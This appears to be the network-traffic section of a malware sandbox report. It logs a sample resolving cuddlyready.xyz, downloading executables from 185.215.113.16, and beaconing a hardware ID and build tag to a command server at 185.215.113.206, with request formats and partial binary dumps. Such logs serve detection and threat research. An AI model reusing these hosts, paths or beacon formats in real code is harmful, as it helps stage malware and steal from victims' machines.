Dec 23, 2024 08:31:51.951981068 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.952605963 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.952682018 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.952738047 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:51.952775955 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.952790022 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.952812910 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:51.953423023 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.953474998 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:51.953485966 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.953496933 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.953535080 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:51.953619957 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.954282045 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.954334974 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.954346895 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.954380989 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:51.954466105 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.955122948 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.955205917 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.955219030 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.955334902 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.955337048 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:51.955996990 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:51.956060886 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:52.078392029 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:52.078409910 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:52.078494072 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:52.082580090 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:52.122457027 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:52.286561966 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:54.860726118 CET	49715	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:31:54.980256081 CET	80	49715	185.215.113.206	192.168.2.8
Dec 23, 2024 08:31:54.981443882 CET	49715	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:31:54.981621027 CET	49715	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:31:55.101015091 CET	80	49715	185.215.113.206	192.168.2.8
Dec 23, 2024 08:31:56.321774960 CET	80	49715	185.215.113.206	192.168.2.8
Dec 23, 2024 08:31:56.321880102 CET	49715	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:31:56.323978901 CET	49715	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:31:56.443613052 CET	80	49715	185.215.113.206	192.168.2.8
Dec 23, 2024 08:31:56.769917965 CET	80	49715	185.215.113.206	192.168.2.8
Dec 23, 2024 08:31:56.773461103 CET	49715	80	192.168.2.8	185.215.113.206
Dec 23, 2024 08:31:58.838443041 CET	49715	80	192.168.2.8	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:31:20.024508953 CET	64608	53	192.168.2.8	1.1.1.1
Dec 23, 2024 08:31:20.250046015 CET	53	64608	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:31:20.024508953 CET	192.168.2.8	1.1.1.1	0x18e8	Standard query (0)	cuddlyready.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:31:20.250046015 CET	1.1.1.1	192.168.2.8	0x18e8	No error (0)	cuddlyready.xyz		172.67.150.173	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:31:20.250046015 CET	1.1.1.1	192.168.2.8	0x18e8	No error (0)	cuddlyready.xyz		104.21.32.96	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cuddlyready.xyz

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49714	185.215.113.16	80	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:31:41.011864901 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:31:42.353954077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:31:41 GMT Content-Type: application/octet-stream Content-Length: 2765312 Last-Modified: Mon, 23 Dec 2024 07:19:04 GMT Connection: keep-alive ETag: "67690ee8-2a3200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ `Ui`D @ @ @.rsrcD``@.idata f@brdofphe))h@pzoalvov `@.taggant@"@
Dec 23, 2024 08:31:42.353982925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:31:42.353993893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:31:42.354124069 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:31:42.354176998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:31:42.354188919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:31:42.354201078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:31:42.354501009 CET	1236	IN	Data Raw: 7a bb 37 45 66 99 54 65 36 9a 2e 45 8e a9 2e 45 70 bb 32 45 66 99 54 4b 8e 97 2e 45 6c b9 58 45 66 a6 5e 48 66 f8 2e 45 66 96 2e 45 77 bb 45 45 66 9d ac 59 66 93 38 4f 71 a9 3a 70 ad 9a 36 df 73 9c 9d 5d 66 93 38 b7 89 93 2e b5 8e ac 2e 45 70 bf Data Ascii: z7EfTe6.E.Ep2EfTK.ElXEf^Hf.Ef.EwEEfYf8Oq:p6s]f8..Ep[N.Ep<Eh@E.El/ol3EfTmr.KoIEfVIf4knQnF5mj.K.Ef^Hf.Ef.EwEEfYf8Oq:p6s]f8g..EpVN.Ep<Eh@E.El/ol3EfTN.Ep2EfTM}:
Dec 23, 2024 08:31:42.354511023 CET	1236	IN	Data Raw: 6e 99 2e 81 6c 79 38 4b 66 84 36 33 6f 99 2e d3 70 81 37 4b 66 f8 34 33 6f 99 2e 0f 71 81 37 4b 66 e0 37 37 71 9d 2e cb 70 47 38 4b 66 a9 39 4f 66 99 2e 3a 6f 81 37 4b 66 f4 35 33 6f 99 2e 31 6c 81 37 4b 66 40 38 33 6f 99 2e 8d 6a cc 36 4b 66 f7 Data Ascii: n.ly8Kf63o.p7Kf43o.q7Kf77q.pG8Kf9Of.:o7Kf53o.1l7Kf@83o.j6Kf63o.gq.Kf7Of.j.Kf33o.Ef.Ef.Ff.Eg.ol8f.Ff/Uf5+p.Ff.Ef.!o6f.Hf/EfB7Ef.Lf.Hg.;l.f.Yf/Efs4Ef.Xf.Hg.p.f.Yf/Ef21Ef.gf.Hg.h.
Dec 23, 2024 08:31:42.354522943 CET	1236	IN	Data Raw: 66 0c 2f ec 6f a3 2e c6 66 3a 38 4b 66 2c 2f ec 6f ad 2e 0e 67 3a 38 4b 66 1c 2f ec 6f 99 2e ee 66 3a 38 46 66 6c 2f 76 6f bc 2e 1e 67 be 39 71 66 74 2f 7b 6f c5 2e f6 66 b7 38 86 66 44 2f d9 6b da 2e 2e 67 be 39 90 66 44 2f 51 6b e4 2e 36 67 64 Data Ascii: f/o.f:8Kf,/o.g:8Kf/o.f:8Ffl/vo.g9qft/{o.f8fD/k..g9fD/Qk.6gd4fL/Pq.f9fL/In/f6f/Zl.f:8Kf.Mf/Nf.f.Uf&/Nf.f.]f0/Nf.f.if:/Nf.f.qf?/Nf.f.}f5/Nf.f.f!/Nf.f.f&/Nf.f.f!/Nf.f.fN/Nf.g.
Dec 23, 2024 08:31:42.473818064 CET	1236	IN	Data Raw: b3 e2 72 8e ac ec 8d 87 b5 e2 82 a4 a9 e2 7c 8b af da 2e 98 ab e5 84 8e a9 d8 8d 96 bb d8 80 9e c5 d6 7d 93 ac dc 75 45 b9 d6 8d 92 a7 e1 6f 8c ab e5 8d 91 b5 d6 79 45 b9 d8 80 9b af d6 73 a4 ab e5 80 94 b8 f2 71 97 af e7 77 88 a7 df 2e 98 ab e5 Data Ascii: r\|.}uEoyEsqw.}}zEssss}}fsq}}fv}w.\|rsfsqwsEsq.
Dec 23, 2024 08:31:47.215373993 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:31:47.657541037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:31:46 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Mon, 23 Dec 2024 07:21:00 GMT Connection: keep-alive ETag: "67690f5c-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(pN@NL+@M$a$$ $h@.rsrc$x@.idata $z@ynqricro)$)\|@wjlvyldl`N+@.taggant0pN""+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49715	185.215.113.206	80	1220	C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:31:54.981621027 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 08:31:56.321774960 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 08:31:56.323978901 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGCFCAFIIEBGCBFCAKK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 38 44 36 43 32 39 34 42 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 2d 2d 0d 0a Data Ascii: ------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="hwid"508D6C294B722583580058------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="build"stok------FCGCFCAFIIEBGCBFCAKK--
Dec 23, 2024 08:31:56.769917965 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	172.67.150.173	443	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:31:21 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cuddlyready.xyz
2024-12-23 07:31:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 07:31:22 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vgbd6cdt7eh7sbcod0kjeg642o; expires=Fri, 18 Apr 2025 01:18:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p1dldhL9smr0kRyOlJzgbf%2B4DesH2e9z0MKUH9nYPNHVv7ZPzRI35Sev7HWTcQpKpcaWr6jX4DPs3Jh9JwLV3sBCvAAjdU0CaMCAAHm%2Fu%2F1PGGMMkutqV7uyN6P4oTXxjBY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66a6cd1e0241d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1695&min_rtt=1694&rtt_var=638&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1710603&cwnd=238&unsent_bytes=0&cid=dab53dc4fafda951&ts=766&x=0"
2024-12-23 07:31:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 07:31:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	172.67.150.173	443	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:31:23 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: cuddlyready.xyz
2024-12-23 07:31:23 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 07:31:24 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d6iicvri60cnlfru6t1gailu3u; expires=Fri, 18 Apr 2025 01:18:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B1dX5ruR7kXNGmr%2BHOuemAqsrpLxtiH2%2FvsFs86%2BfOJOdRmERbRwC7S5cEgpJj%2BVOaqNSMZm96U03XX7ArHXuO3lnL6dph46an1xXBD8mMN8L6%2BE5pkIwvU4IShwHxcLoAk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66a6d97fa20f4f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1522&min_rtt=1521&rtt_var=574&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1902280&cwnd=239&unsent_bytes=0&cid=abdbb83b8650025f&ts=788&x=0"
2024-12-23 07:31:24 UTC	242	IN	Data Raw: 34 39 31 63 0d 0a 79 6d 6d 30 30 52 75 4f 44 59 34 6a 31 48 46 4f 38 46 6e 67 6c 6e 74 4d 69 31 6b 4c 78 4c 38 53 47 4b 77 46 7a 67 2f 4b 72 68 6d 78 53 38 4c 7a 49 62 6f 68 72 46 43 78 55 33 53 45 4b 35 58 7a 56 32 37 71 50 53 6e 2b 32 58 4e 30 33 32 44 69 4c 62 7a 44 4f 2f 41 50 31 62 31 6f 36 79 47 73 52 71 78 54 64 4b 73 69 77 76 4d 56 62 72 46 37 62 71 37 64 63 33 54 4f 5a 4b 56 67 75 73 4a 36 6f 67 58 54 75 58 37 74 61 65 39 50 75 52 51 72 6c 54 69 4b 2b 42 49 68 34 7a 51 70 36 4a 31 33 59 6f 34 2f 37 45 4b 76 32 6e 69 48 43 4d 65 36 4f 66 4d 68 39 51 47 78 48 32 7a 4b 65 34 48 7a 47 53 44 74 50 57 43 73 31 33 70 38 7a 32 47 6b 66 36 50 49 63 61 49 4c 30 4c 68 30 35 48 33 69 52 62 34 66 4c 5a 38 34 77 72 70 5a Data Ascii: 491cymm00RuODY4j1HFO8FnglntMi1kLxL8SGKwFzg/KrhmxS8LzIbohrFCxU3SEK5XzV27qPSn+2XN032DiLbzDO/AP1b1o6yGsRqxTdKsiwvMVbrF7bq7dc3TOZKVgusJ6ogXTuX7tae9PuRQrlTiK+BIh4zQp6J13Yo4/7EKv2niHCMe6OfMh9QGxH2zKe4HzGSDtPWCs13p8z2Gkf6PIcaIL0Lh05H3iRb4fLZ84wrpZ
2024-12-23 07:31:24 UTC	1369	IN	Data Raw: 4b 66 46 37 4d 65 61 4f 51 6e 6e 66 64 72 6c 67 75 4d 6f 37 74 30 58 50 38 33 37 67 4c 37 51 42 76 68 38 69 6c 7a 69 4e 38 78 67 75 2b 7a 52 70 70 64 56 34 66 73 52 6f 6f 32 4b 6d 78 6e 79 67 41 74 47 38 66 75 52 70 34 30 4c 32 58 57 79 56 49 38 4b 73 57 51 37 35 4f 47 71 79 30 47 45 36 30 53 6d 31 4c 61 2f 41 4f 2f 42 4c 30 4c 31 34 34 57 2f 2b 53 62 30 59 4b 59 41 77 69 2f 6b 55 4c 75 51 78 5a 71 58 64 64 33 44 45 61 4b 5a 70 70 63 46 39 71 41 75 57 2f 54 6e 72 64 36 77 5a 39 6a 41 70 67 6a 79 4f 34 6c 73 55 71 53 51 6e 76 35 31 33 64 6f 34 2f 37 47 57 74 7a 33 69 6a 42 4e 57 37 63 76 35 76 2f 6b 65 37 46 6a 36 55 50 6f 7a 2b 47 6a 7a 6a 4e 57 2b 6c 31 48 74 7a 79 32 43 6f 4c 65 61 4d 66 4c 42 4c 6a 76 4e 59 34 57 54 67 53 36 45 54 62 49 31 31 6d 37 51 Data Ascii: KfF7MeaOQnnfdrlguMo7t0XP837gL7QBvh8ilziN8xgu+zRppdV4fsRoo2KmxnygAtG8fuRp40L2XWyVI8KsWQ75OGqy0GE60Sm1La/AO/BL0L144W/+Sb0YKYAwi/kULuQxZqXdd3DEaKZppcF9qAuW/Tnrd6wZ9jApgjyO4lsUqSQnv513do4/7GWtz3ijBNW7cv5v/ke7Fj6UPoz+GjzjNW+l1Htzy2CoLeaMfLBLjvNY4WTgS6ETbI11m7Q
2024-12-23 07:31:24 UTC	1369	IN	Data Raw: 57 2b 70 30 48 77 36 67 43 65 72 64 65 69 55 4f 34 49 49 77 72 42 7a 72 6c 72 76 54 37 67 55 4f 74 49 6b 7a 4f 31 5a 4b 65 56 37 4d 65 62 51 63 58 4c 49 64 61 4e 67 71 38 4a 31 70 77 37 5a 75 33 6e 73 59 75 6c 46 76 52 67 76 6e 7a 2b 51 2f 68 6b 6d 37 44 70 6a 72 4a 30 2b 4f 73 6c 2f 37 44 58 6f 2f 57 79 6a 53 65 4f 77 64 2b 4a 6f 2b 67 47 70 58 54 58 53 50 49 36 30 51 57 37 6b 4d 32 79 6a 30 6e 46 77 77 47 4b 6d 59 61 44 43 65 4c 6f 45 30 72 4e 31 35 47 58 68 54 37 49 62 4a 5a 6b 77 68 50 51 59 4a 4b 6c 31 4b 61 48 46 4d 43 4b 4f 55 36 74 68 70 63 4d 35 6e 51 6a 59 76 58 37 36 4c 2f 4d 50 72 31 4d 72 6e 6e 76 61 74 42 55 6e 36 54 42 6a 6f 74 31 33 64 38 74 6b 71 32 36 6c 79 33 47 6d 44 4e 4b 2f 63 4f 46 70 37 45 61 79 46 6a 36 58 4d 6f 37 34 57 57 43 70 Data Ascii: W+p0Hw6gCerdeiUO4IIwrBzrlrvT7gUOtIkzO1ZKeV7MebQcXLIdaNgq8J1pw7Zu3nsYulFvRgvnz+Q/hkm7DpjrJ0+Osl/7DXo/WyjSeOwd+Jo+gGpXTXSPI60QW7kM2yj0nFwwGKmYaDCeLoE0rN15GXhT7IbJZkwhPQYJKl1KaHFMCKOU6thpcM5nQjYvX76L/MPr1MrnnvatBUn6TBjot13d8tkq26ly3GmDNK/cOFp7EayFj6XMo74WWCp
2024-12-23 07:31:24 UTC	1369	IN	Data Raw: 4e 70 4f 73 6c 72 37 44 58 6f 78 58 4b 36 42 64 69 36 64 4f 70 6e 36 30 2b 37 47 43 71 5a 50 49 58 79 46 43 62 6b 50 6d 71 6e 32 58 70 6f 7a 57 79 6d 59 4b 4b 4d 4e 65 67 4d 7a 76 4d 68 72 45 6a 67 61 4b 59 49 50 6f 52 37 6e 62 6f 41 62 75 34 33 4b 66 36 64 63 33 58 48 61 4b 52 6c 70 38 4e 2f 70 67 33 51 76 6e 7a 6a 5a 66 35 4a 75 42 34 6e 6e 54 43 51 39 42 51 71 35 54 39 68 72 64 63 77 4e 49 35 67 74 43 33 77 6a 45 36 6c 42 4e 61 77 62 36 78 77 6f 6c 6a 32 46 43 44 53 59 38 4c 34 46 79 37 6d 4e 32 57 74 31 58 46 32 77 47 43 70 5a 4b 44 45 61 61 6b 50 33 72 4a 33 34 32 37 6f 52 4c 4d 58 4b 35 59 39 6a 62 52 58 62 75 34 6a 4b 66 36 64 58 31 33 37 4a 59 31 58 36 4e 4d 31 73 55 76 52 76 7a 6d 30 4c 2b 42 43 75 68 73 6a 6c 44 4b 4f 2f 68 41 6c 35 54 42 74 71 Data Ascii: NpOslr7DXoxXK6Bdi6dOpn60+7GCqZPIXyFCbkPmqn2XpozWymYKKMNegMzvMhrEjgaKYIPoR7nboAbu43Kf6dc3XHaKRlp8N/pg3QvnzjZf5JuB4nnTCQ9BQq5T9hrdcwNI5gtC3wjE6lBNawb6xwolj2FCDSY8L4Fy7mN2Wt1XF2wGCpZKDEaakP3rJ3427oRLMXK5Y9jbRXbu4jKf6dX137JY1X6NM1sUvRvzm0L+BCuhsjlDKO/hAl5TBtq
